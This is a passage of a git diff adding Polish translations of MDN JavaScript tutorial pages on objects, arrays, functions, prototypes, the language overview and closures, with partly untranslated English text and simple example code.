These are semantically equivalent; the second is called object literal syntax and is more convenient. This syntax is also the core of JSON format and should be preferred at all times.

+ +

Semantycznie obie wersje są równe; druga, nazywana jest literalną składnią obiektu, jest wygodniejsza. Ta składnia jest dodatkowo kluczowym formatem JSON i powinna być preferowana w użyciu.

+ +

Literalna składnia może być użyta do zainicjowania obiektu w całości:

+ +
var auto = {
+  marka: 'Ford',
+  model: 'Fiesta',
+  detale: {
+    kolor: 'grafitowy',
+    konieMechaniczne: 96
+  }
+};
+
+ +

Dostęp do atrybutu może być ze sobą połączony:

+ +
obj.detale.kolor; // grafitowy
+obj['detale']['konieMechaniczne']; // 96
+
+ +

The following example creates an object prototype, Person and an instance of that prototype, you.

+ +

Poniższy przykład tworzy prototyp obiektu Person i jego instancję, marek.

+ +
function Person(imie, wiek) {
+  this.imie = imie;
+  this.wiek = wiek;
+}
+
+// Definiowanie obiektu
+var marek = new Person('Marek', 24);
+// Stworzyliśmy nową osobę o imieniu 'Marek' i wieku 24 lat.
+
+
+ +

Once created, an object's properties can again be accessed in one of two ways:

+ +

Do właściwości stworzonego obiektu można uzyskać dostep na dwa sposoby:

+ +
// notacja kropkowa ( dot notation )
+obj.name = 'Simon';
+var name = obj.name;
+
+ +

oraz...

+ +
// notacją nawiasową ( bracket notation )
+obj['name'] = 'Simon';
+var name = obj['name'];
+// zmienna może być użyta do zdefiniowania wartości klucza
+var user = prompt('what is your key?')
+obj[user] = prompt('what is its value?')
+
+ +

Te notacje także są semantycznie jednakowe. Druga metoda ma tę zaletę, że nazwa własności podawana jest jako string, dzięki czemu obliczana jest w czasie wykonywania. Jednak użycie tej metody zapobiega zastosowaniu niektórych mechanizmów JavaScript i procesów minifikacji. Może też być używany do ustawiania i pobierania własności z nazwami wykorzystującymi słowa zastrzeżone

+ +
obj.for = 'Simon'; // Syntax error, ponieważ 'for' jest zastrzeżone
+obj['for'] = 'Simon'; // kod działa
+
+ +
+

Począwszy od ECMAScript 5, słowa zastrzeżone mogą być używane jako nazwy własności obiektów "w locie". Oznacza to, że nie muszą być zamknięte w cudzysłów podczas definiowania obiektu notacją literałową. Zobacz specyfikację ES5.

+
+ +

For more on objects and prototypes see Object.prototype. For an explanation of object prototypes and the object prototype chains see Inheritance and the prototype chain.

+ +

Po więcej informacji na temat obiektów i prototypów zobacz Object.prototype. Wyjaśnienie prototypów obiektów i łańcuch prototypów zobacz dziedziczenie i łańcuch prototypów.

+ +

Tablice

+ +

Tablice w JavaScript są specialnym typem obiektu. Działają bardzo podobnie do zwykłych obiektów, jednak posiadają jedną magiczną właściwość 'length'. Jest ona zawsze o jeden więcej niż najwyższy index w tablicy.

+ +

Poniżej jeden z sposób tworzenia tablcy:

+ +
var a = new Array();
+a[0] = 'pies';
+a[1] = 'kot';
+a[2] = 'hen';
+a.length; // 3
+
+ +

Bardziej dogodną notacją jest użycie literału tablicy:

+ +
var a = ['dog', 'cat', 'hen'];
+a.length; // 3
+
+ +

Zauważ, że array.length niekoniecznie jest liczbą elementów w tablicy. Rozważ następujący zapis:

+ +
var a = ['dog', 'cat', 'hen'];
+a[100] = 'fox';
+a.length; // 101
+
+ +

Pamiętaj - długość tablicy jest o jeden większa niż najwyższy indeks.

+ +

If you query a non-existent array index, you'll get a value of undefined in return:

+ +
typeof a[90]; // undefined
+
+ +

If you take the above about [] and length into account, you can iterate over an array using the following for loop:

+ +
for (var i = 0; i < a.length; i++) {
+  // Do something with a[i]
+}
+
+ +

ECMAScript introduced the more concise for...of loop for iterable objects such as arrays:

+ +
for (const currentValue of a) {
+  // Do something with currentValue
+}
+ +

You could also iterate over an array using a for...in loop, however this does not iterate over the array elements, but the array indices. Furthermore, if someone added new properties to Array.prototype, they would also be iterated over by such a loop. Therefore this loop type is not recommended for arrays.

+ +

Another way of iterating over an array that was added with ECMAScript 5 is forEach():

+ +
['dog', 'cat', 'hen'].forEach(function(currentValue, index, array) {
+  // Do something with currentValue or array[index]
+});
+
+ +

If you want to append an item to an array simply do it like this:

+ +
a.push(item);
+ +

Arrays come with a number of methods. See also the full documentation for array methods.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Method nameDescription
a.toString()Returns a string with the toString() of each element separated by commas.
a.toLocaleString()Returns a string with the toLocaleString() of each element separated by commas.
a.concat(item1[, item2[, ...[, itemN]]])Returns a new array with the items added on to it.
a.join(sep)Converts the array to a string — with values delimited by the sep param
a.pop()Removes and returns the last item.
a.push(item1, ..., itemN)Appends items to the end of the array.
a.reverse()Reverses the array.
a.shift()Removes and returns the first item.
a.slice(start[, end])Returns a sub-array.
a.sort([cmpfn])Takes an optional comparison function.
a.splice(start, delcount[, item1[, ...[, itemN]]])Lets you modify an array by deleting a section and replacing it with more items.
a.unshift(item1[, item2[, ...[, itemN]]])Prepends items to the start of the array.
+ +

Functions

+ +

Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:

+ +
function add(x, y) {
+  var total = x + y;
+  return total;
+}
+
+ +

This demonstrates a basic function. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like and can declare its own variables which are local to that function. The return statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns undefined.

+ +

The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to undefined.

+ +
add(); // NaN
+// You can't perform addition on undefined
+
+ +

You can also pass in more arguments than the function is expecting:

+ +
add(2, 3, 4); // 5
+// added the first two; 4 was ignored
+
+ +

That may seem a little silly, but functions have access to an additional variable inside their body called arguments, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:

+ +
function add() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    sum += arguments[i];
+  }
+  return sum;
+}
+
+add(2, 3, 4, 5); // 14
+
+ +

That's really not any more useful than writing 2 + 3 + 4 + 5 though. Let's create an averaging function:

+ +
function avg() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    sum += arguments[i];
+  }
+  return sum / arguments.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+
+ +

This is pretty useful, but it does seem a little verbose. To reduce this code a bit more we can look at substituting the use of the arguments array through Rest parameter syntax. In this way, we can pass in any number of arguments into the function while keeping our code minimal. The rest parameter operator is used in function parameter lists with the format: ...variable and it will include within that variable the entire list of uncaptured arguments that the function was called with. We will also replace the for loop with a for...of loop to return the values within our variable.

+ +
function avg(...args) {
+  var sum = 0;
+  for (let value of args) {
+    sum += value;
+  }
+  return sum / args.length;
+}
+
+avg(2, 3, 4, 5); // 3.5
+
+ +
In the above code, the variable args holds all the values that were passed into the function.
+
+It is important to note that wherever the rest parameter operator is placed in a function declaration it will store all arguments after its declaration, but not before. i.e. function avg(firstValue, ...args) will store the first value passed into the function in the firstValue variable and the remaining arguments in args. That's another useful language feature but it does lead us to a new problem. The avg() function takes a comma-separated list of arguments — but what if you want to find the average of an array? You could just rewrite the function as follows:
+ +
function avgArray(arr) {
+  var sum = 0;
+  for (var i = 0, j = arr.length; i < j; i++) {
+    sum += arr[i];
+  }
+  return sum / arr.length;
+}
+
+avgArray([2, 3, 4, 5]); // 3.5
+
+ +

But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function with an arbitrary array of arguments, using the {{jsxref("Function.apply", "apply()")}} method of any function object.

+ +
avg.apply(null, [2, 3, 4, 5]); // 3.5
+
+ +

The second argument to apply() is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.

+ +
+

You can achieve the same result using the spread operator in the function call.

+ +

For instance: avg(...numbers)

+
+ +

JavaScript lets you create anonymous functions.

+ +
var avg = function() {
+  var sum = 0;
+  for (var i = 0, j = arguments.length; i < j; i++) {
+    sum += arguments[i];
+  }
+  return sum / arguments.length;
+};
+
+ +

This is semantically equivalent to the function avg() form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables — like block scope in C:

+ +
var a = 1;
+var b = 2;
+
+(function() {
+  var b = 3;
+  a += b;
+})();
+
+a; // 4
+b; // 2
+
+ +

JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as those found in the browser DOM.

+ +
function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+
+ +

This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? JavaScript lets you name function expressions for this. You can use named IIFEs (Immediately Invoked Function Expressions) as shown below:

+ +
var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);
+
+ +

The name provided to a function expression as above is only available to the function's own scope. This allows more optimizations to be done by the engine and results in more readable code. The name also shows up in the debugger and some stack traces, which can save you time when debugging.

+ +

Note that JavaScript functions are themselves objects — like everything else in JavaScript — and you can add or change properties on them just like we've seen earlier in the Objects section.

+ +

Custom objects

+ +
For a more detailed discussion of object-oriented programming in JavaScript, see Introduction to Object-Oriented JavaScript.
+ +

In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. JavaScript is a prototype-based language that contains no class statement, as you'd find in C++ or Java (this is sometimes confusing for programmers accustomed to languages with a class statement). Instead, JavaScript uses functions as classes. Let's consider a person object with first and last name fields. There are two ways in which the name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, we could display the data like this:

+ +
function makePerson(first, last) {
+  return {
+    first: first,
+    last: last
+  };
+}
+function personFullName(person) {
+  return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+  return person.last + ', ' + person.first;
+}
+
+s = makePerson('Simon', 'Willison');
+personFullName(s); // "Simon Willison"
+personFullNameReversed(s); // "Willison, Simon"
+
+ +

This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:

+ +
function makePerson(first, last) {
+  return {
+    first: first,
+    last: last,
+    fullName: function() {
+      return this.first + ' ' + this.last;
+    },
+    fullNameReversed: function() {
+      return this.last + ', ' + this.first;
+    }
+  };
+}
+
+s = makePerson('Simon', 'Willison');
+s.fullName(); // "Simon Willison"
+s.fullNameReversed(); // "Willison, Simon"
+
+ +

There's something here we haven't seen before: the this keyword. Used inside a function, this refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using dot notation or bracket notation on an object, that object becomes this. If dot notation wasn't used for the call, this refers to the global object.

+ +

Note that this is a frequent cause of mistakes. For example:

+ +
s = makePerson('Simon', 'Willison');
+var fullName = s.fullName;
+fullName(); // undefined undefined
+
+ +

When we call fullName() alone, without using s.fullName(), this is bound to the global object. Since there are no global variables called first or last we get undefined for each one.

+ +

We can take advantage of the this keyword to improve our makePerson function:

+ +
function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = function() {
+    return this.first + ' ' + this.last;
+  };
+  this.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+  };
+}
+var s = new Person('Simon', 'Willison');
+
+ +

We have introduced another keyword: new. new is strongly related to this. It creates a brand new empty object, and then calls the function specified, with this set to that new object. Notice though that the function specified with this does not return a value but merely modifies the this object. It's new that returns the this object to the calling site. Functions that are designed to be called by new are called constructor functions. Common practice is to capitalize these functions as a reminder to call them with new.

+ +

The improved function still has the same pitfall with calling fullName() alone.

+ +

Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it — wouldn't it be better if this code was shared?

+ +
function personFullName() {
+  return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+  return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = personFullName;
+  this.fullNameReversed = personFullNameReversed;
+}
+
+ +

That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:

+ +
function Person(first, last) {
+  this.first = first;
+  this.last = last;
+}
+Person.prototype.fullName = function() {
+  return this.first + ' ' + this.last;
+};
+Person.prototype.fullNameReversed = function() {
+  return this.last + ', ' + this.first;
+};
+
+ +

Person.prototype is an object shared by all instances of Person. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of Person that isn't set, JavaScript will check Person.prototype to see if that property exists there instead. As a result, anything assigned to Person.prototype becomes available to all instances of that constructor via the this object.

+ +

This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:

+ +
s = new Person('Simon', 'Willison');
+s.firstNameCaps(); // TypeError on line 1: s.firstNameCaps is not a function
+
+Person.prototype.firstNameCaps = function() {
+  return this.first.toUpperCase();
+};
+s.firstNameCaps(); // "SIMON"
+
+ +

Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to String that returns that string in reverse:

+ +
var s = 'Simon';
+s.reversed(); // TypeError on line 1: s.reversed is not a function
+
+String.prototype.reversed = function() {
+  var r = '';
+  for (var i = this.length - 1; i >= 0; i--) {
+    r += this[i];
+  }
+  return r;
+};
+
+s.reversed(); // nomiS
+
+ +

Our new method even works on string literals!

+ +
'This can now be reversed'.reversed(); // desrever eb won nac sihT
+
+ +

As mentioned before, the prototype forms part of a chain. The root of that chain is Object.prototype, whose methods include toString() — it is this method that is called when you try to represent an object as a string. This is useful for debugging our Person objects:

+ +
var s = new Person('Simon', 'Willison');
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+  return '<Person: ' + this.fullName() + '>';
+}
+
+s.toString(); // "<Person: Simon Willison>"
+
+ +

Remember how avg.apply() had a null first argument? We can revisit that now. The first argument to apply() is the object that should be treated as 'this'. For example, here's a trivial implementation of new:

+ +
function trivialNew(constructor, ...args) {
+  var o = {}; // Create an object
+  constructor.apply(o, args);
+  return o;
+}
+
+ +

This isn't an exact replica of new as it doesn't set up the prototype chain (it would be difficult to illustrate). This is not something you use very often, but it's useful to know about. In this snippet, ...args (including the ellipsis) is called the "rest arguments" — as the name implies, this contains the rest of the arguments.

+ +

Calling

+ +
var bill = trivialNew(Person, 'William', 'Orange');
+ +

is therefore almost equivalent to

+ +
var bill = new Person('William', 'Orange');
+ +

apply() has a sister function named call, which again lets you set this but takes an expanded argument list as opposed to an array.

+ +
function lastNameCaps() {
+  return this.last.toUpperCase();
+}
+var s = new Person('Simon', 'Willison');
+lastNameCaps.call(s);
+// Is the same as:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps(); // WILLISON
+
+ +

Inner functions

+ +

JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier makePerson() function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:

+ +
function parentFunc() {
+  var a = 1;
+
+  function nestedFunc() {
+    var b = 4; // parentFunc can't use this
+    return a + b;
+  }
+  return nestedFunc(); // 5
+}
+
+ +

This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.

+ +

This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — "local globals" if you like. This technique should be used with caution, but it's a useful ability to have.

+ +

Closures

+ +

This leads us to one of the most powerful abstractions that JavaScript has to offer — but also the most potentially confusing. What does this do?

+ +
function makeAdder(a) {
+  return function(b) {
+    return a + b;
+  };
+}
+var x = makeAdder(5);
+var y = makeAdder(20);
+x(6); // ?
+y(7); // ?
+
+ +

The name of the makeAdder() function should give it away: it creates new 'adder' functions, each of which, when called with one argument, adds it to the argument that it was created with.

+ +

What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they do still exist — otherwise, the adder functions would be unable to work. What's more, there are two different "copies" of makeAdder()'s local variables — one in which a is 5 and the other one where a is 20. So the result of that function calls is as follows:

+ +
x(6); // returns 11
+y(7); // returns 27
+
+ +

Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialized with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which is accessible as this and in browsers as window) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object, for example.

+ +

So when makeAdder() is called, a scope object is created with one property: a, which is the argument passed to the makeAdder() function. makeAdder() then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for makeAdder() at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage-collected until there are no more references to the function object that makeAdder() returned.

+ +

Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.

+ +

A closure is the combination of a function and the scope object in which it was created. Closures let you save state — as such, they can often be used in place of objects. You can find several excellent introductions to closures.

diff --git a/files/pl/web/javascript/about_javascript/index.html b/files/pl/web/javascript/about_javascript/index.html new file mode 100644 index 0000000000..26c921724f --- /dev/null +++ b/files/pl/web/javascript/about_javascript/index.html @@ -0,0 +1,57 @@ +--- +title: O JavaScript +slug: Web/JavaScript/O_JavaScript +translation_of: Web/JavaScript/About_JavaScript +--- +
{{JsSidebar}}
+ +

Co to jest JavaScript?

+ +

JavaScript® (w skrócie JS) jest lekkim, interpretowanym, zorientowanym obiektowo językiem z funkcjami pierwszej klasy, i jest najbardziej znany jako język skryptowy dla stron sieci Web, ale jest także używany w wielu innych środowiskach niż przeglądarka. It is a prototype-based, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and functional programming styles.

+ +

JavaScript działa po stronie klienta, co można wykorzystać w projektowaniu / programowaniu jak strona ma się zachowywać w przypadku wystąpienia jakiegoś zdarzenia. JavaScript jest łatwym do opanowania i jednocześnie potężnym językiem skryptowym, powszechnie używany do kontrolowania zachowania strony internetowej.

+ +

Wbrew powszechnemu przekonaniu, JavaScript nie jest "zinterpretowaną Java". W skrócie, JavaScript jest dynamicznym językiem skryptowym obsługującym prototypową konstrukcję obiektów. Podstawowa składnia jest celowo podobna zarówno do Java i C++, aby zmniejszyć liczbę nowych pojęć potrzebnych do nauki języka. Konstrukcje językowe, takie jak istrukcje ifswitch, pętle for i while, oraz blok try ... catch funkcjonują tak samo w tych językach (lub bardzo podobnie).

+ +

JavaScript może funkcjonować jako język proceduralny, jak również język zorientowany obiektowo. Obiekty w JavaScript są tworzone automatycznie, poprzez dołączenie metod i właściwości do pustego obiektów w czasie wykonywania, w przeciwieństwie do definicji składniowych klasy wspólnych zestawionych w językach takich jak C ++ i Java. Raz stworzony obiekt może być stosowany jako projekt (lub prototyp) do tworzenia podobnych obiektów.

+ +

JavaScript's dynamic capabilities include runtime object construction, variable parameter lists, function variables, dynamic script creation (via eval), object introspection (via for ... in), and source code recovery (JavaScript programs can decompile function bodies back into their source text).

+ +

For a more in depth discussion of JavaScript programming follow the JavaScript resources links below.

+ +

What JavaScript implementations are available?

+ +

The Mozilla project provides two JavaScript implementations. The first ever JavaScript was created by Brendan Eich at Netscape, and has since been updated to conform to ECMA-262 Edition 5 and later versions. This engine, code named SpiderMonkey, is implemented in C/C++. The Rhino engine, created primarily by Norris Boyd (also at Netscape) is a JavaScript implementation written in Java. Like SpiderMonkey, Rhino is ECMA-262 Edition 5 compliant.

+ +

Several major runtime optimizations such as TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) and IonMonkey were added to the SpiderMonkey JavaScript engine over time. Work is always ongoing to improve JavaScript execution performance.

+ +

Besides the above implementations, there are other popular JavaScript engines such as:-

+ + + +

Each of Mozilla's JavaScript engines expose a public API which application developers can use to integrate JavaScript into their software. By far, the most common host environment for JavaScript is web browsers. Web browsers typically use the public API to create host objects responsible for reflecting the DOM into JavaScript.

+ +

Another common application for JavaScript is as a (Web) server side scripting language. A JavaScript web server would expose host objects representing a HTTP request and response objects, which could then be manipulated by a JavaScript program to dynamically generate web pages. Node.js is a popular example of this.

+ +

JavaScript resources

+ +
+
SpiderMonkey
+
Information specific to Mozilla's implementation of JavaScript in C/C++ engine (aka SpiderMonkey), including how to embed it in applications.
+
+ +
+
Rhino
+
Information specific to the JavaScript implementation written in Java (aka Rhino).
+
Language resources
+
Pointers to published JavaScript standards.
+
A re-introduction to JavaScript
+
JavaScript guide and JavaScript reference.
+
+ +

JavaScript® is a trademark or registered trademark of Oracle in the U.S. and other countries.

diff --git a/files/pl/web/javascript/closures/index.html b/files/pl/web/javascript/closures/index.html new file mode 100644 index 0000000000..985f5e50ce --- /dev/null +++ b/files/pl/web/javascript/closures/index.html @@ -0,0 +1,408 @@ +--- +title: Domknięcia +slug: Web/JavaScript/Domkniecia +translation_of: Web/JavaScript/Closures +--- +
 {{jsSidebar("Intermediate")}}
+ +
+ +

Domknięcie jest funkcją skojarzoną z odwołującym się do niej środowiskiem. Innymi słowy domknięcie daje Ci dostęp z funkcji wewnętrznej do zasięgu funkcji zewnętrznej.

+ +

Zasięg leksykalny

+ +

Rozważ poniższy przykład:

+ +
+
function init() {
+  var name = "Mozilla"; // name jest zmienną lokalną utworzoną przez funkcję init
+  function displayName() { // displayName() jest wewnętrzną funkcją, domknięciem
+    alert(name); // używa zmiennej zdeklarowanej w funkcji nadrzędnej
+  }
+  displayName();
+}
+init();
+
+ +

init() tworzy zmienną lokalną name oraz funkcję displayName(). displayName() jest funkcją lokalną która została zdefiniowana wewnątrz funkcji init() i jest dostępna tylko wewnątrz tej funkcji. displayName() nie ma własnych zmiennych lokalnych. Jednakże, ponieważ wewnętrzne funkcje mają dostęp do zmiennych zdefiniowanych w funkcjach zewnętrznych, displayName() ma dostęp do zmiennej name zdeklarowanej w funkcji nadrzędnej, init().

+ +

{{JSFiddleEmbed("https://jsfiddle.net/xAFs9/3/", "js,result", 200)}}

+ +

Uruchom kod i zauważ że alert() zawarty w funkcji displayName() wyświetlił wartość ze zmiennej name, która jest zdeklarowana w funkcji nadrzędnej. Jest to przykład zasięgu leksykalnego, który opisuje jak parser rozwiązuje zmienne kiedy funkcje są zagnieżdżone. Słowo "leksykalny" odnosi się do faktu że zasięg leksykalny używa lokalizacji zdefiniowania zmiennej w kodzie źródłowym aby określić gdzie ta zmienna jest dostępna. Zagnieżdżone funkcje mają dostęp do zmiennych zdeklarowanych w ich zewnętrznym zasięgu.

+ +

Domknięcie

+ +

Teraz rozważmy następujący przykład:

+ +
function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+
+ +

Jeżeli uruchomisz ten kod przekonasz się że ma takie samo działanie jak poprzedni przykład z funkcją init(): tym razem wartość tekstowa "Mozilla" zostanie wyświetlona w alercie. To, co jest inne, - i interesujące - to to, że wewnętrzna funkcja displayName() została zwrócona z nadrzędnej funkcji przed jej wykonaniem.

+ +

Na pierwszy rzut oka może się wydawać nieintuicyjne, że kod nadal pracuje. W niektórych językach programowania zmienne lokalne znajdujące się w funkcji istnieją tylko przez czas trwania tej funkcji. W momencie gdy makeFunc() zostanie wykonana możesz oczekiwać, że zmienna nie będzie już dostępna. Jednakże, ponieważ w naszym przypadku kod nadal pracuje, jak widać nie dotyczy to języka JavaScript.

+ +

Spowodowane jest to tym, że omawiane funkcje przybierają w Javascript formę domknięć. Domknięcie jest kombinacją funkcji i leksykalnego środowiska w którym ta funkcja została zdeklarowana. To środowisko zawiera każdą zmienną lokalną która była w zasięgu w momencie kiedy domknięcie zostało stworzone. W tym przypadku, myFunc jest referencją do instancji funkcji displayName stworzonej w momencie działania makeFunc. Instancja displayName zarządza referencją do jej leksykalnego środowiska, w którym istnieje zmienna. Dlatego, kiedy myFunc jest uruchomiona, zmienna pozostaje dostępna do użycia i "Mozilla" może być przekazane do alert.

+ +

Poniżej znajduje się znacznie bardziej interesujący przykład — funkcja makeAdder:

+ +
function makeAdder(x) {
+  return function(y) {
+    return x + y;
+  };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+console.log(add5(2));  // 7
+console.log(add10(2)); // 12
+ +

W tym przykładzie, zdefiniowaliśmy funkcję makeAdder(x), która pobiera argument, x, i zwraca nową funkcję.  Zwrócona funkcja pobiera argument, y, i zwraca sume x i y.

+ +

W zasadzie makeAdder jest fabryką funkcji — wytwarza funkcje, które mogą dodawać pewną wartość do ich argumentu. W powyższym przykładzie używamy naszej fabryki funkcji do stworzenia dwóch nowych funkcji — jedna, która dodaje 5 do jej argumentu i druga, która dodaje 10.

+ +

add5 i add10 są domknięciami. Dzielą ten sam kod zawarty w funkcji makeAdder, ale przechowują różne leksykalne środowisko. W leksykalnym środowisku add5x wynosi 5, natomiast w leksykalnym środowisku add10x jest równe 10.

+ +

Praktyczne domknięcia

+ +

Domknięcia są przydatne, ponieważ pozwalają Ci powiązać część danych (środowisko leksykalne) z funkcją, która operuje na tych danych. Jest to oczywista analogia do programowania obiektowego, gdzie obiekty pozwalają nam na powiązanie części danych (właściwości obiektu) z jedną lub dwiema metodami.

+ +

W rezultacie możesz użyć dokmnięć w sytuacjach, gdzie normalnie byś użył/a obiektu z wyłącznie jedną metodą.

+ +

Potencjalne sytuacje zastosowania powyższego zachowania są szczególnie popularne w sieci. Wiele kodu, który piszemy we front-endowym Javascripcie bazuje na zdarzeniach — definiujemy jakieś zachowanie, następnie dołączamy je do wydarzenia, które jest wywoływane przez użytkownika (kliknięciem myszki lub naciśnięciem klawisza klawiatury). Nasz kod jest najczęściej dołączony jako callback (wywołanie zwrotne): pojedyncza funkcja wykonywana jako odpowiedź na wydarzenie.

+ +

Przyjmijmy przykładowo, że chcemy dodać do strony przyciski, które zmieniają wielkość tekstu. Jednym ze sposobów na osiągnięcie tego jest określenie rozmiaru czcionki font-size elementu body w pikselach, następnie ustawienie rozmiaru innych elementów na stronie (takich jak nagłówki) używając jednostki względnej em:

+ +
body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+h2 {
+  font-size: 1.2em;
+}
+ +

Nasze interaktywne przyciski zmiany wielkości tekstu mogą zmienić wlaściwość font-size elementu body, a inne elementy strony dostosują się dzięki zastosowaniu jednostki względnej.

+ +

Poniżej realizacja w JavaScript:

+ +
function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+ +

size12size14, oraz size16 są obecnie funkcjami, które zmienią rozmiar tekstu w body do odpowiednio 12, 14 oraz 16 pixeli. Możemy dołączyć je do przycisków (w tym przypadku linków) jak ponżej:

+ +
document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+ +
<a href="#" id="size-12">12</a>
+<a href="#" id="size-14">14</a>
+<a href="#" id="size-16">16</a>
+ +

{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}

+ +

Emulowanie prywatnych metod przy użyciu domknięć

+ +

Języki takie jak Java dostarczają możliwość zadeklarowania metody jako prywatna, co oznacza, że może ona zostać wywołana wylącznie przez inne metody w tej samej klasie.

+ +

JavaScript nie zapewnia do tego wbudowanej metody, jednakże jest możliwa emulacja prywatnych metod przy użyciu domknięć. Prywatne metody nie sa wyłącznie użyteczne z racji możliwości ograniczenia dostępu do kodu: dają również świetną możliwość zarządzania Twoją globalną przestrzenią nazw (namespace) uniemożliwiając nieistotnym metodom zaśmiecenie interfejsu publicznego Twojego kodu.

+ +

Poniższy kod ukazuje, w jaki sposób można użyć domknięć do zdefiniowania publicznych funkcji, które mają dostęp do prywatnych funkcji i zmiennych. Używanie dokmnięć w taki sposób znane jest jako module pattern:

+ +
var counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1
+ +

W poprzednich przykładach każde domknięcie miało własne leksykalne środowisko. Jednakże w tym przypadku tworzymy pojedyncze środowisko leksykalne, współdzielone przez trzy funkcje: counter.incrementcounter.decrement oraz counter.value.

+ +

Owo współdzielone środowisko leksykalne tworzone jest w ciele funkcji anonimowej, która jest wykonana w momencie, gdy tylko zostanie zdefiniowana. Środowisko leksykalne zawiera dwa prywatne przedmioty: zmienną o nazwie privateCounter i funkcję o nazwie changeBy. Żaden z tych prywatnych przedmiotów nie może być wywołany bezpośrednio spoza funkcji anonimowej. Zamiast tego, muszą mieć być one wywołane poprzez trzy funkcje publiczne, które są zwracane z anonimowej klasy opakowującej (wrapper).

+ +

Te trzy funkcje publiczne to domknięcia, które współdzielą to samo środowisko. Dzięki JavaScriptowemu zakresowi leksykalnemu, każda z nich ma dostęp do zmiennej privateCounter oraz funkcji changeBy.

+ +

Zauważysz, że definiujemy anonimową funkcję, która tworzy licznik, a następnie od razu ją wywołujemy i przypisujemy wynik do zmiennej counter. Moglibyśmy przetrzymywać tę funkcję w oddzielnej zmiennej makeCounter i użyć jej do stworzenia kilku liczników.

+ +
var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
